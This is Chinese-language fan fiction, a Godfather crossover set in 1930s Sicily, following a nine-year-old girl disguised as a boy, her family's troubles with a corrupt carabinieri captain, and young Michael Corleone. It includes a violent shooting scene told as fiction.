《[综教父]冰柠可乐》
1. Chapter01
九岁的艾波洛妮亚很忙。除了上午半天的小学课程,她下午要前往巴勒莫或蒙雷阿莱,担任几座教堂的布道助理。名声好,嘴巴甜,做事有分寸,牧师和神父都喜欢小艾波。
可是忽然之间,不知怎么的,原本和蔼可亲的教士们都变得威严客气起来,开始体恤艾波奔波辛苦,让她回家过暑假。
“帮你父亲卖卖酒,或者看看书。等葡萄丰收的时候,我们会通知皮亚齐亚神父会带你回来。”他们这样说。
圣罗莎莉狂欢节后的半个月是宗教人士一年中少见的清闲日子。天气炎热,农民忙着灌溉、伺候他们的庄稼和果树,积攒钱财添置新衣裳,好在八月的圣母升天节时展示待嫁的女儿们。放假似乎也在情理之中?
艾波带着一些些疑问跟着同村的神父回了家。
宗教活动减少,学校放假,她便拎着斧头以找柴火为由,漫山遍野晃荡。山冈上有不少羊群粪便,她尝试着收集,把它们和咖啡渣、枯草、果皮混合在一起,想试试堆肥。
西西里采用的都是移牧和轮作,羊粪落叶们自己发酵风化、回馈大地,千百年来行之有效,养活岛上所有人,并不需要改良。
但闲着也是闲着,稻作产区的精耕细作早已深入灵魂,艾波就是想要做实验。
不知不觉,身后的小尾巴越来越多,艾波没有开小学生暑假托班的想法,随便他们跟在后面玩儿。
不作为的坏处很快出现了。小鬼们不知道为什么打了一大架,消停了两周,突然某天村后山谷起了一场大火。兵荒马乱扑灭山火后,大人当场抓出心虚的小鬼们。
某个主谋边被揍边嚎:“凭什么艾波没有事!我们都是跟她学的!”其他几个孩子也泪光闪闪地点头。
得,拘禁开始。维太里先生气势汹汹撸起袖子,拎小鸡般把艾波提溜回家。
在家的日子无聊透顶。在艾波用混合羊粪肥给院子里所有的野玫瑰施过肥后,妈妈维太里夫人给她布置新任务了。
“你也该学学缝补了!今天下午,必须把你爸爸的这五双袜子补好。”她挥舞手臂比划道,“你姐姐在你这个年纪的时候已经会把我的旧衣服改成她的小裙子和你的尿片了。小姑娘!”
艾波嘴上答应得很好:“好的妈妈,我一定向西多尼亚学习!”
保证得斩钉截铁,蜜糖色隐隐带紫的眼睛再漂亮不过了,维太里夫人被她搞得卡壳,一时不知道如何往下说,只摸摸小女儿剃成板寸的脑袋:“乖一些,晚上给你做煎饭团。”
说是饭团,其实是面粉和芝士的混合物,在乡村地区算得上一道难得的珍馐。艾波开心地蹦起来,垫脚亲吻母亲浅橄榄色的脸颊:“太好了!妈妈,我爱你!”
维太里夫人睨了扮乖的女儿一眼,嘟囔着“小马屁精”去厨房忙活了。
等母亲一走,艾波原形毕露般瘫回椅子,陈旧的石灰天花板脱开一块一块的皮,底下斑驳的色块像是阴云密布的黑湖,直愣愣地倾泻下来。
不想待在家里。
一旁的西多尼亚正坐在拱门前,借着明亮的日光缝补父兄的裤子,头也不抬地说:“柜角有本书,是安布罗斯昨天去男爵家做工讨来的。”
艾波立刻跑去拿来,一瞧封面,阿里斯托斯的《疯狂的罗兰》,确实是青春期男孩爱看的。她失望地坐回木头靠背椅,翘着小脚,有一搭没一搭地翻起来。
西多尼亚见此,便猜到她已经读过这本书,另起话头,说起这几天村子里的趣事:“诺比莱家不是押中世界杯赢球数了嘛,上周奖金刚兑付,就买了一辆上好的骡车,诺比莱先生请了巴勒莫大学的教授来涂绘车身,图案正是与捷克斯洛伐克鏖战的场景,连坦特博雷男爵都惊动了,带着美国客人来参观。”
“说起那美国客人也是厉害,据安布罗斯和德文特观察,每天经过我们咖啡馆的小汽车多了不少,看方向都是去美国人暂住的老别墅。爸爸也说他们家很有钱,是来谈大买卖的。”
艾波兴致缺缺地哦了一声,头也没抬:“是来谈葡萄酒生意的还是橄榄油生意的?”
29年的全球萧条对农村经济打击很大,这些年才陆陆续续恢复,外国人愿意买本地的农产品总是好的。只不过绿油油的美钞进不到农民的口袋,仅化作皮鞭甩上短工的脊背。艾波跟随几位神父往返乡镇,见惯长在羊圈里没洗过澡的男孩、皮鞋磨损脚趾溃烂的男人,相比之下,她幸福地像生活在天堂。
西多尼亚被问住了,“要不明天我问问安娜她们?”
“算了,”艾波挥手,“总是那么些事情。”
乌云般的墨索里尼罩在头顶,她能做的是尽量让家里屯食物,好熬过漫长的配给制时期。这些父母当然已经考虑到,并不需要她一个小孩子发话。
她无精打采的,和平时的小太阳截然不同。西多尼亚一时心软,绞尽脑汁,又想到一个话题:“小朱莉今早穿了一条新裙子,样子很新,细花边、直筒裙,像是罗马那里的款式。”
这倒是奇怪。西多尼亚对服饰有独到的天赋,往往在街上瞅一眼,转头就能做出□□成相似的衣服。她不会记错。艾波重复问:“罗马的款式?”
西多尼亚点头:“是她哥哥带回来的。”
“她那位在圣方济各修道院的哥哥?”
得到肯定答案后,电光火石间,艾波脑子里出现某个不可思议的猜想,好像触到教士隐瞒的东西。
她该去发掘吗?有什么好处、有什么坏处……?艾波陷入思考。
“艾波洛妮亚——”维太里夫人不放心地在厨房里监督,“补几只袜子了?”
艾波一个鲤鱼打挺,从椅子上跳了起来,对姐姐说:“我去教堂一趟,替我和爸妈说一下呀。”
生怕走慢了会被妈妈抓回来,跨上院内爸爸送货的自行车,飞也似地向村外的道路骑去。
七月的午后天气热得浑身发粘,驴子和绵羊们都在阴凉处歇息,艾波一路疾驰,只遇见一个男孩,匆匆一瞥,依稀瞧见锃白的衬衫衣领在阳光下反着光。
不知道该说运气好还是运气不好,自行车的橡胶前胎刚一刹到镇教堂的石阶前,还没来得及下车,艾波迎面撞上跑出来的皮亚齐亚神父。
他神情紧张,本该顺垂的黑袍仿佛浑浊的山洪,凌乱地裹住他汗津津的身体,胸前的银十字不安地晃动着。
显然有新情况。
“神父,出什么事了?”当下,艾波直视神父的眼睛,一字一句认真说,“有什么需要我帮忙的吗?我是艾波洛尼亚.维太里,是你的布道助手,与你妻子的父亲拥有相同姓氏,你完全可以相信我。”
她这话说得压根儿不像一个九岁的孩子。可皮亚齐亚并未觉得奇怪,反而在她的话里平静下来。他深呼一口气, 握上自行车把手中更近的那一只:“有一车上好的雪茄运往圣方济各修道院,它、它失踪了。”
这话果然应证了她的猜想,修士们在组织走私活动谋私利,这在桀骜不驯的西西里,似乎算不上惊世骇俗。她点点头,用一种自信到有些惹人厌的神情说:“东西不会凭空消失,别忘了我是谁。我们能找到它。”
*
十二岁的迈克尔.柯里昂踢着石子,沿着裸露的土路往前走。烈日当头,汗水顺着鬓角流淌至下颌,用手背抹了把汗。
道路旁的山坡时不时滚落干枯的草屑,风里携带尘埃,弄得他脸上都是土。
桑尼和弗雷德去巴勒莫玩了,康妮在和妈妈学做针线,家里临时来了客人,爸爸让他去附近的小镇买点酒。
他继续沿着土路往坡上走,左手在裤兜里百无聊赖地把玩硬币,他宁可待在曼哈顿的家里,虽然窗外人来人往
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,吵吵嚷嚷的,但至少热闹。
“叮——叮——”
清脆的铃声顺着风吹来,迈克尔停下脚步,眯眼望向道路尽头。
只见热浪滚滚的土路,一架黑色自行车像脱辕的马车,极快地自坡上冲下来,速度之快,几乎让人怀疑下一秒这自行车会飞出道路,坠落到山坡底下。
等再近些时候,迈克尔看清了骑手,是个十岁上下的小男孩,身高只够踩着踏板、屁股无法坐上座椅。也许这就是他无法控制车速的原因。
下一秒,男孩与他错身而过,疾驰的气流带来难得的凉爽,他看到了对方格外大的眼睛,里面某种难以形容的东西,在黑色睫毛和热烈阳光勾勒下亮晶晶的,让人忍不住屏住呼吸。
这个插曲,很快被抛诸脑后。到了镇子,迈克尔问咖啡馆老板买了两瓶酒。
老板和父亲差不多年纪,个头是西西里男人的平均身高,身穿沁有汗渍的衬衫和背带裤。
“两瓶可不够哇,我的酒可是西西里最好喝的。”老板吹嘘道,“就连镇上的宪兵队长也爱喝。”
迈克尔只想快点回家,坐进阴凉的门廊,喝一大杯冰镇橘子汁。他用蹩脚的西西里语敷衍道:“太多,拿不动。”
“嗐——我们可以提供送货服务。”老板身上有一种迈克尔熟悉的、小市民的奸滑,他冲屋子里喊道“安布,送货了!快去骑车。”
从门里走出来的是一位和迈克尔差不多年纪的男孩,身材却壮实很多,加上被太阳晒得褐色的皮肤,打眼瞧去就是西西里农民的孩子。
他凑到老板身旁耳语几句。
“什么?!”老板气得直瞪眼,捏起手指做着意大利人常用的手势,“那家伙、那家伙。”
念及外人在场,老板没有继续说下去,转而调整呼吸,对迈克尔露出一个热络的笑:“实在不好意思,目前送不了货。两瓶酒,一共二十里拉,如果不还瓶子的话,就是六十里拉。”
父亲当时塞了一把硬币给他,迈克尔数出一枚五十元、一枚十元,放到咖啡桌上,拎起两瓶酒离开。
身后依稀传来老板的怒喝:“艾波…教堂……太不像样……关禁闭……”
咖啡馆老板没有吹牛,他家的葡萄酒让爸爸赞不绝口。第二天迈克尔又去了维太里咖啡馆。依然是两瓶酒。
“我就说我家的酒不错吧。”老板颇为自豪。
迈克尔点点头,放下钱拿起酒就走。
一连几天,家里都有客人,买酒的重任好像就这样变成了迈克尔的日常任务。
等到了第四天,他终于忍不住了,用不熟练的西西里语问老板:“能不能,帮忙送货?”
他打算采购一周的酒。再也不想顶着太阳走山路了。
老板微胖的脸颊面露难色,迟疑地说:“明天,明天吧。”
“确定?”迈克尔从兜里掏出卷成条的钞票。
老板一咬牙:“行。”
次日,不知道怎么的,从早上开始,迈克尔时不时站在别墅露台望向大门口,莫名陷入焦灼的等待。他担心咖啡馆老板没有按时送来葡萄酒,耽误了爸爸的宴会。
他反常的举动自然落在家人的眼里。
维多.柯里昂翻过一页报纸,问:“迈克尔,有什么事吗?”这个小儿子相貌过于清秀,他总担心他长成个扭捏的娘们儿样。
刚要解释,院外传来自行车的叮铃声,迈克尔立刻撇下父亲,跑到露台。
黑色雕花大铁门外,那位只见过一次的十岁的小男孩熟练地停好比自己大很多的自行车,从吊在车后座的提篮里拎出两个半打酒瓶递给管家。
迈克尔的心终于落回肚子里。
维多.柯里昂站在小儿子身后,望着那个孩子像提两打鸡蛋一样,毫不费力地同时拎起十二瓶酒,脸上闪过若有所思。
2. Chapter02
之后几天,艾波忙得不可开交。她和皮亚齐亚神父赶到巴勒莫,腆着脸问遍了相关教职人员,花了整整三天梳理出近期参加过走私活动的农民名单,找到那个胆大包天、竟敢吞没教会财产的小贩。
处置这事儿不能找宪兵,当下实行配给制,东西本就不合法,宪兵没理由帮他们。也没法用老办法找黑手党,因为那些友中友几乎都被墨索里尼的宪兵抓了个精光。
不过,一位姓马洛的、来自维拉巴的神父表示这无须担心,他们自有办法。
有什么办法?无非是武力威慑,给那位贪心的小贩一颗教训尝尝。艾波没有多问,这时候她终于像个十岁不到的孩子了,得意又腼腆地向斯塔尼亚诺主教讨糖吃。
主教自然答应。他从办公室角落的斗柜子里掏出一把节日才能尝到的太妃糖,亲自塞进艾波手里。
糖多得双手捧着都拿不住,顽皮地跳了一路,正当艾波把大部队塞进裤兜,蹲下身一个个地捡起漏网之鱼时,哥哥安布罗斯的声音忽然出现在本堂宽阔的空间,正在七八根大理石柱后磕磕巴巴地和教士解释身份和来意。
等面对主教,哥哥变得更紧张了,断句一板一眼,像在复述大人教的话:“最近、农场活太多,又要酿酒又、又要…浇水,家里咖啡馆、离离不开人,需要、需要小艾波帮忙、帮忙送货。”
主教乐呵呵地看向艾波:“艾波拉,我聪明的孩子,相比炎热的大地,也许上帝更希望你在这里。”
她参与失踪物品的调查,知晓走私的内幕,主教承认她的能力,愿意接纳她成为这非法勾当的一份子。艾波从主教的眼里读出这条橄榄枝。
“当然,如果坐不住的话,你也可以去圣方济各修道院,曼弗莱迪院长很感谢你和皮亚齐亚神父的帮忙,到时还能带回一件圣遗物给你的母亲。这不是你想要的吗?我的孩子。”
主教的暗示再明显不过了。艾波犹豫着,像是注意力不集中的小朋友一样看向教堂门口。
那里,门洞光影切出的亮部,她的姐姐,十六岁的西多尼亚从圣水盆里掬起一捧清水,浅浅啜饮。阳光穿过教堂高高的窗户、精妙绝伦的巴洛克天使雕塑,照在她褐色的发间,美得近乎不真实。
无法想象,要是她不跟着他们回去,西多尼亚得有多伤心。艾波收回目光,挠挠头皮,对主教不好意思地笑笑。
主教斯塔尼亚诺明白了,他换上对信徒的慈祥笑容,在胸前画了一个十字:“愿上帝保佑你,我的孩子。我们圣母节见。”
与几位教士们道别,两兄妹沉默着走出教堂。这时候,艾波终于想起担心自己的屁股,怕被亲爹亲妈揍开花。
马路上人不算多,宪兵松松散散地走过,偶尔穿插几位衣着体面的绅士,几乎没什么农民和牲口。
“帕雷德斯先生!”安布罗斯向街对面的老主顾宪兵队长打招呼,对方挥了挥夹着香烟的手,不知道在看什么。
西多尼亚喝完水,在高大的圣人雕像下等他们。艾波牵上姐姐的手:“你怎么一起来了?是爸爸怕我不回去,特意派你来的吗?”
西多尼亚摇头,指了指停在不远处的驴车:“我来买些布,照着小朱莉的裙子做,她已经答应了。正好赶在圣母升天节前卖出。”
几叠柔软光滑的棉纱堆在掉漆老旧的车板,一如驴尾巴后面漂亮的西多尼亚,让人不由自主产生明珠蒙尘的惋惜。
“等到年底,就能攒到五百里拉了。”说这话时,西多尼亚眼睛里充满光亮。
姐姐想开一家裁缝铺,艾波一直清楚,甚至这就是她怂恿的结果。
“太好了!阶段性胜利!”她掏出太妃糖,剥开黏糊糊的糖纸,边喂姐姐边老气横秋地说,“这是奖励!”
西多尼亚失笑着品尝嘴里的甜味。
艾波当然不会厚此薄彼,又剥了一颗糖,往已经坐上车辕的安布罗斯嘴里塞。
哥哥瞪了她一眼,到底没说什么,短促一喝,驴子应声哒哒迈步,拖着木板车往前走。艾波便也跨上那辆这几天一直靠在教堂墙角、无人问津的自行车,晃晃悠悠地骑起来。
兄妹三人在上午明亮凉爽的日光里,缓缓往城外行去。
“安布,要是爸爸揍我,你会帮我挡着吗?”
“……会。”
“西多,要是妈妈让我补一堆袜子,你会替我缝吗?”
“你说呢?”
“当然是会!”
回到家,艾波发现自己的担心纯属多余。
爸爸维太里先生什么都没提,只是上下仔细打量了她一番,然后用一种硬邦邦的语气把送酒的任务分派给她,并说:“家里有的是活给你干!现在,给山坡后面那户美国客人送酒去!”
好吧好吧。艾波认命地垂下脑袋。这类跑腿的活本该是二哥德文特的,此刻他站在爸爸后面冲她龇牙笑。
只要不关她紧闭,怎么样都行。
十二瓶酒实在不轻,刹车时险些压不住车头、向一边倒去,好在她早有准备,提前跳下车,靠巧劲儿把住车头,顺着向前冲的趋势拎起车后座、脚尖勾下方形脚撑。
开铁门的是一位中年男人,背着常见的短筒木仓。艾波在大型节日聚会时见过他几回,依稀记得别人叫他姆塞蒂。
刚把酒拎下车,艾波就注意到别墅二楼露台上的男孩,黑色的头发,瘦精精的身材,她敢打包票,他连德文特都打不过。
旋即,她为这一想法感到好笑。在西西里待久了,她的思路也变得奇怪起来,看到一个初中生,竟然第一时间关注的是他的体格。
跟着姆塞蒂走进别墅,路过起居室,艾波发现屋内家具很粗糙,和她家里差不多,就连墙面上的圣母生子像,她家有一模一样的一副。
刚在后厨放下十二瓶酒,帮佣正抱着一只装满脏餐盘的红搪瓷盆走进来,似乎一家人刚吃过早餐。
“下次可以直接骑车到后边儿,敲厨房后门进来,不影响主人家休息。你也能少走些路。”帮佣说。
“明白了。”艾波点头记下。
她怎么都没想到,往这户人家送酒变成日常之一。整个七月下旬,她送了二十趟酒,其中有九趟是送到这里,平均两天一次,最多一天送了两回。一瓶酒约莫七百五十毫升,一次十二瓶,怕是夜夜宴客才能消耗得掉吧?可这年头,哪怕是男爵都没有那么多宾客,这户人家到底什么来头?
相比艾波的警惕,维太里先生笑得合不拢嘴。他本就给那位内向的美国小少爷报了更高的酒价,如今这半个月的进项抵得上之前半年的,怎么能不开心?
收入的增加让全家都沉浸在一种轻松的氛围里。爸爸盘算着买些木材翻新篱笆;妈妈琢磨着找工匠修修灶台,再置办几件新家具;安布罗斯私下和艾波商量着,打算攒钱添置几把木仓,德文特则想养一只艾特纳猎犬。
可已进入八月,情况便急转直下。就连艾波也未曾预料到。
大股宪兵涌入城镇,这两年渐熄的抓捕黑手党行动死灰复燃。起初人们不以为意,在这座饱经沧桑的岛屿,找不出一个和黑手党没有关系的生物,有缄默原则在,不会波及自身。随后,现实很快打破人们的幻想。
“诺比莱父子被带走了。”
“怎么会?送去哪个法庭审判,巴勒莫?”
“审判?直接被送上了船。”
“船?什么船?”
艾波看到说这话的邮差指指南边,又做了个开枪、挖战壕的动作。
一时之间,小咖啡馆的人都沉默了。逻辑很清晰,宪兵们觊觎诺比莱家的财产,找个由头处置家里的顶梁柱,然后慢慢瓜分财务和妻女。
害怕归害怕,日子还是得过。时局动荡,葡萄酒市场骤减,只有那户美国人照旧买酒,只是数量缩减为四天一趟了。
艾波依然全程沉默,放下酒、拿了钱就走,无意攀交情。
直到那天,宪兵队长带人闯进咖啡馆,缉拿父亲和安布罗斯,又向母亲隐晦地表达想要西多尼亚做自己的情妇。艾波站在灼热的日光和尘埃里想明白了前因后果,在极度的愤怒中,她告诉自己冷静,然后敲
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响了那扇门——
“科里昂阁下,我需要您的帮助。”
*
不用每天跋涉买酒,迈克尔顿时轻松不少。
唯一担心地就是那男孩掉链子,没有按时送来酒。
迈克尔想要告诫那男孩一番,让他不要这么顽皮让父兄担心、耽误家里的生意。可那小子根本没给他这个机会,每次来都像个提线木偶,面无表情的恭敬。
这让迈克尔兴起了抓到马脚的心思。等抓到错处,他再大度地原谅,给他喝一瓶冰橘子水儿。
可那小子压根儿不给他这个机会,每回都准时出现。他掐表数着,没有超出过十点。
迈克尔又让管家多付几里拉作为小费,以为能从那小子脸上看到些不一样的神情,毕竟他父亲是肉眼可见的市侩和爱财。可他依旧是那死样子,沉默又温顺地接过钱,像老实巴交的农民。
好像那天见到的亮晶晶表情全是他晒晕产生的幻觉。
迈克尔想他一定是太无聊了,才会这样观察一个乡下小学生。
桑尼、弗雷多不愿意带他玩儿,他坐在门廊下看书。温热的风穿过庭院,总能送来些许凉意。大半个月的时间,他磕磕绊绊地读完了《十日谈》,里面的故事和人物,奇幻得让人着迷。
爸爸总是忙着接待客人,偶尔和管家在花园的柠檬树下面的木椅坐着商量事情。有时候会飘进迈克尔的耳朵里。
七月底的某天,太阳藏在云后,很柔和。他听见爸爸问起一个人:“姆塞蒂,每天来送酒的那个男孩,你熟悉吗?”
“哦,那是维太里家的孩子,应该是最小那个,好像是叫艾波。”
迈克尔这才知道那小鬼的名字是艾波.维太里。艾波…不知道是什么的缩写,可千万别是阿波罗,那真是土掉渣啦。
维多又问:“最小?他们家有几个孩子?”
“和您一样,特里.维太里一共四个孩子,三儿一女,不过最大的那个是女儿。”随后,管家姆塞蒂讲起那男孩的履历,听得迈克尔直撇嘴。怎么有人能背出圣经,他才不信。
可爸爸似乎相信了。
迈克尔看见他不可置否地点点头,沉默片刻,转而又说起了其他事:“那十二个人,给他们半个月时间让他们和家人告别,我会给他们好工作、好报酬的……”
也就是说,最多半个月,他就能回纽约了。迈克尔为这个发现暗自开心,终于可以摆脱西西里了。
即将离开的喜悦让他换了一种心态看向周围的环境,好像天空不再蓝得枯燥,古老的建筑也多了几分故事性。
迈克尔主动向父亲提出,想要去巴勒莫城里瞧瞧,“带上妈妈和康妮,我们可以买些纪念品给彼得和萨利叔叔。”
父亲不假思索地答应了,给了他和妹妹一大笔钱,又派保镖开车接送他们。
迈克尔带着母亲和妹妹度过了快乐而充实的一天。回家的路上,途径小咖啡馆,他看见紧闭的门窗,毫不费力地想起早上出发时也紧闭着,目光下意识的一凝,随后反应过来今天是做礼拜、聚会的日子,关门也在情理之中。
可那老板看起来精明极了,不像会为了宗教活动关一整天店的人。
“迈基,你在想什么?”
迈克尔这才注意到车子已经停在了家门口,母亲和妹妹已经下车,正在外面担忧地看他。
“没什么,”迈克尔无法形容心里的想法,有些奇怪,但他就是不由自主地想起维太里家的事。
他关上车门慢吞吞地往房子里走。
下一秒,他看到一楼起居室里,哥哥桑尼大力拍着男孩的肩膀,热情又豪爽地说:“相信我和我爸爸,艾波!以后我们就是兄弟了。”
父亲在一旁微笑地注视这一切。
那男孩呢,竟然露出了一个他这半个月来从没见过的、甜得作呕的笑。
他一定个骗子、小偷,就像书里骗过神父的恰泼莱托一样。
这一瞬间,怒火蛮不讲理地冲上太阳穴,迈克尔发誓他永远讨厌艾波.维太里!
3. Chapter03
艾波不爱赌博,她讨厌这种庄家通吃的数学游戏。
可命运就是这样,人总是被当骰子般摇来晃去,在某个特殊时刻骰盅揭开、咔哒坠落在赌桌,这还没完,在那骰子咕噜噜的滚动旋转停止之前,没有人知晓最终结局。
宪兵队长帕雷德斯第二次不请自来的这天,天地应景地刮起了狂风,橄榄树叶疯狂摇摆,教堂的钟声叮当作响,农场豢养的猎犬狂吠不止。
外面昏天黑地的,家里点起照明蜡烛,以客人为中心,闪烁微弱光芒。
帕雷德斯坐在起居室的一端,后面就是陈放圣母像的神龛,祈祷蜡烛微弱的红光照得那张因为私生活不检点而产生的凹凸不平的脸愈加恶心。
宪兵队长呷了一口咖啡,用手指捻了捻胡须,朝对面缩手垂头坐着的妇女说:“短时间内,你的丈夫和儿子回不来,别担心,只是去北非了。”
维太里夫人腾地一下站起来,声音打着抖,怒意蓬勃:“金子我已经给你了,西多尼亚还在收拾东西,下周就搬去你安排的住处!凭什么出尔反尔!把我丈夫还回来!Vaffanculo!”
被骂了一脸的帕雷德斯慢条斯理回答:“这已经是我从中斡旋的结果了。被指认黑手党却拒不承认,按照法西斯的规矩,应该先给他们尝尝卡塞塔的滋味,你该听说过,前几年,莫里局长靠这一招抓了不少黑手党头目……”
艾波从没见过如此愤怒的母亲,脸气得通红,恨不得生啖其肉。她维持着趴在二楼楼梯口的姿势,思索对策。
按照桑蒂诺的计划,下周日帕雷德斯来接西多尼亚离开,他们会带人在山坡后边伏击,打爆轮胎、杀掉宪兵头子,营造出车祸的假象。然后,西多尼亚会随他们一道去美国,彻底远离这里的是非。
可这恶心的黑警竟然提前来了。人手不齐、准备不足,哪怕她现在立刻跑去科里昂家通知桑蒂诺,行动也无法按计划开展。更别说她离开后落单的母亲和西多尼亚,到时候真成了砧板上的肉。
思索间,院门啪地被踹开,两名宪兵呼喝着进来:“队长,人给你抓来了。”
一通怒骂与挣扎,男孩像初生牛犊般摔到起居室的地面,是二哥德文特。父亲和大哥被抓走这一周,妈妈忙着筹钱,德文特和她分工,肩起了一部分生意和农活,一下子成熟不少。
看到二哥的这一瞬间,如同赌徒押上全部身家,艾波下定了决心。
这岛上的每一位平民男性都在血与恨中长大,深知斩草除根的重要性。艾波清楚他不会放过德文特,也不会放过以男装示人的自己。
现在的情况,不是他死、就是她们死。毫无谈判余地。
她无声地从地上站起来,轻手轻脚地进入哥哥们的房间,遵循记忆,在靠窗的衣柜底下摸出一柄□□。从会走路开始,安布罗斯就带着她牧羊打猎,这把枪她无比熟悉。
拿到了武器,她没有直接下楼,一对三,哪怕有散弹枪她也不敢冒险。快步走入隔壁西多尼亚的卧室,进去时,她正无声无息地坐在床上,脸色白得不正常,那双眼睛翻涌着屋外天空般的暗色。
显然,也听见起居室里的对话。
“我需要你的帮助。”艾波拎着枪,只说了这一句,西多尼亚就明白了她的意思,沉默地点点头,赤足踩上木地板。
少女披着米白的披肩,出现在楼梯口的那一刻,空气都柔和了几分。她缓步走下楼梯,绕过起居室的桌子,来到想要占有她的人面前,冲他含蓄又羞怯一笑,然后轻轻牵起他的手,引着他往楼上走,如同温顺天真的羔羊邀请豺狼品尝自己。
两名宪兵揶揄地吹起口哨。维太里夫人意识到了什么,咬紧牙关,死死按住弹起来的德文特。
艾波趴回刚才偷看的位置,看见姐姐带着宪兵队长一前一后迈上楼梯。她无声地呼了一口气,右肩低着枪托,枪口缓缓瞄准。
西多尼亚很瘦,走在肩宽肚圆的老男人前面,像是一株细苗长在轮胎做成的花坛里,孤瘦纤弱。
两人越走越近,帕雷德斯啪嗒作响的皮靴,帕雷德斯硬挺干净的作训裤,帕雷德斯圆突的皮带,帕雷德斯银亮的顶扣……艾波扣动了板机。
并不止一枪,砰砰砰接连三响——
第一声,□□喷子般击飞目标;第二声,男人倒下、撞倒楼梯的木头护栏,几乎同一时刻,靠近楼梯的宪兵应声倒地;第三声,男人摔落地面发出让人牙酸的闷响,艾波顺势自护栏破碎的台阶边缘跃下,在空中朝更远的那名宪兵射击。
狭小的空间最大地发挥散弹枪的威力,三人如同卡在树丛里的兔子被打个正着。
相应的,西多尼亚也受了伤,钢珠擦过她的左半边肢体,脸颊、衣裙开出朵朵血花。
艾波却没有时间关心她。生跳到地面,脚踝痛得要命,她忍着疼,一瘸一拐地走到三人面前。
帕雷德斯已经没有声息,宪兵一号和二号丧失了行动能力,正躺在地面发出可怕的呻吟,稍稍好一点的一位努力向门口爬去。
其实这两位宪兵并没有做错什么,他们只是听从长官的指令。但……她也是西西里人。
枪口先后抵上三人的脑袋,巨响之后,骨头碎裂,红白的黏稠液体溅得到处都是。
整个过程不到三分钟,起居室里多了三具尸体。
维太里夫人率先回过神来,沉默着走上楼梯,搀下受伤的西多尼亚。德文特已经吓傻了,仍维持姿势瘫坐在地面,等母亲和姐姐走到身边,他才猛地醒转,从地上弹起来去拖尸体,想要清理现场。
“德文特,不用收拾,要留给镇长他们看。”艾波耳朵被枪生震得嗡嗡的,几乎听不到自己的说话声,“是黑手党做的。”
“黑手党?”德文特机械反问。
艾波用袖子擦去脸上的血,右半边身体被后坐力震得发麻,抖得不像话。她努力控制痉挛,瘸着腿绕过热乎的尸体:“对,他们和黑手党有勾结,因为分赃不均黑手党为了报复毅然选择动手。爸爸他们的嫌疑也能洗脱。”
德文特似懂非懂地点头:“你要去哪里?找主教帮忙吗?”
艾波没有回答他,只是走到门口时停下,回头看向母亲和姐姐,她们身后几尊圣母像,依然静立在神龛,柔和、圣洁。
“我爱你们。”
她走出家门,外边依旧阴云密布,黑得乾坤颠倒。
*
距离回纽约还有一周,迈克尔已经提前收拾好行李,迫不及待地想要离开这里。
自从那个小鬼登堂入室,他的大哥、向来没什么耐心和弟弟妹妹玩的桑尼,忽然转了性子般,只要艾波一出现,立刻招待他到起居室沙发坐下,两人能嘀嘀咕咕聊一下午。
“真不知道一个十七岁、一个九岁,有什么话题可以聊。”迈克尔半真半假地向落单的二哥抱怨,尝试打探消息。
弗雷多努努嘴,“我不知道。不过我听说他姐姐很漂亮。”
“噢?”迈克尔佯装感兴趣,“有多漂亮?你见过吗?”
“当然没有。”弗雷多捞了一颗橄榄丢嘴里,“这群西西里父亲把女儿看得和金子一样重要,几乎不让她们单独出门,未婚女孩们有自己的社交圈。”<
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迈克尔嘀咕:“看那小子和他哥哥的样子,长得应该不会差到哪里去。”
弗雷多不可置否,又嚼了一颗橄榄后,才低声说:“我再告诉你一个消息。我前天进城玩儿,托马辛诺和我一起回来,我看到他公文包里露出的船票,就顺便问了他一句,他说临时加了一张女士二等舱。”
迈克尔皱眉:“也许哪位婶婶奶奶要和我们一起回去?”
“想想,”弗雷多点点自己太阳穴,“如果是亲戚,为什么不和我妈妈康妮住在一起?而且是临时购买的,说明之前完全没有这个计划。”
“你的意思是,桑尼要带维太里家女儿回纽约?”这确实说得通,桑尼看上了那小子的姐姐,想要和对方结婚,所以那天才会称呼对方为兄弟。
弗雷多耸耸肩:“这是你说的。我什么都不知道。”
迈克尔闭嘴了。他知道弗雷多不肯直说的原因,科伦坡太太的孙女桑德拉一直喜欢桑尼,对他们兄妹不错,迈克尔早就把她当自己大嫂看待,相信弗雷多也一样。
唉,要是真的,桑德拉肯定要心碎了。
他无法理解桑尼的行为。怎么有人会抛弃相识多年、知根知底的女孩,突然喜欢上一个连美国有几个州都不知道的西西里村姑呢?
迈克尔觉得他有必要和桑尼谈一谈。因为内容可能会激怒桑尼,他特意选择全家都不在的时间段找桑尼,这样挨揍也不算丢人。
今天不知道怎么了,天气格外糟糕,走过连廊时,风沙吹得人脸颊疼。
“桑尼,”迈克尔斟酌着开口,“听说你要带一个女孩回家?”
桑蒂诺正在摆弄几把□□,擦拭木仓管,检查撞针。他动作未停,直接承认:“对啊,怎么了?”
迈克尔被他的态度搞得一时语塞,停了几秒又问:“是艾波的姐姐?你们这几天一直在商量这件事?”
桑蒂诺抬眼,有些奇怪地看了弟弟一眼,含糊地回答:“算是吧。这件事很重要,爸爸也是知道的。”
爸爸竟然认可了?这下迈克尔明白桑德拉彻底没机会了。他不由惋惜地叹了一口气。
“你也觉得可惜对吧,”桑蒂诺拿起另一把枪,一边对着灯光检查,一边倒豆子般说,“要是艾波能和我们回纽约就好了。汤姆一定也会喜欢他,你知道吗,他不仅脑子好使,力气还大,我和他掰手腕,花了五分钟才赢!妈妈咪呀,这小子才九岁,真不知道等他长大得有多厉害。不过,既然他姐姐能跟我们回去,那他迟早也会来的,没有人不喜欢纽约。”
迈克尔还没见过大哥如此夸赞某一个人。正当他打算把那人偷溜出去、耽误自家生意的事情说出来时,管家姆塞蒂走了进来,好像有事和桑尼说,迈克尔闭了嘴,知趣地走出起居室,来到半敞开的连廊区。
天气没有好转,风大得要命,连廊与起居室之间的白色纱帘在狂风中飘摇,透过这朦胧的阻隔,迈克尔看到那小子出现在起居室里,像是一只迷路受伤的小兽,眼睛里憋着一汪说不出的东西。
浑身脏得不行,像刚跳进泥坑,又在沙坑里滚了两道。
可他的大哥丝毫没有察觉般,在对方说了几句话后,突然爆发出爽朗的笑容,以一种绝对亲昵的姿势将才到自己胸口高的男孩箍进怀里。
这还没完,桑尼还打了个电话,过了一会儿,父亲匆匆忙忙地出现,用一种他陌生的眼神,认真地审视了那个脏男孩近一分钟,然后用力拍了拍男孩的肩膀,像是支持、更像是认可。
现在,迈克尔已经遗忘了心碎的桑德拉,开始心疼起自己和弗雷多。
4. Chapter04
自家村庄坐落在一片半山腰的台地,科里昂家租住的别墅坐落在更为富饶的山谷处,两辆驴车宽的土路绕着山体,将两者串联,是交通干道。
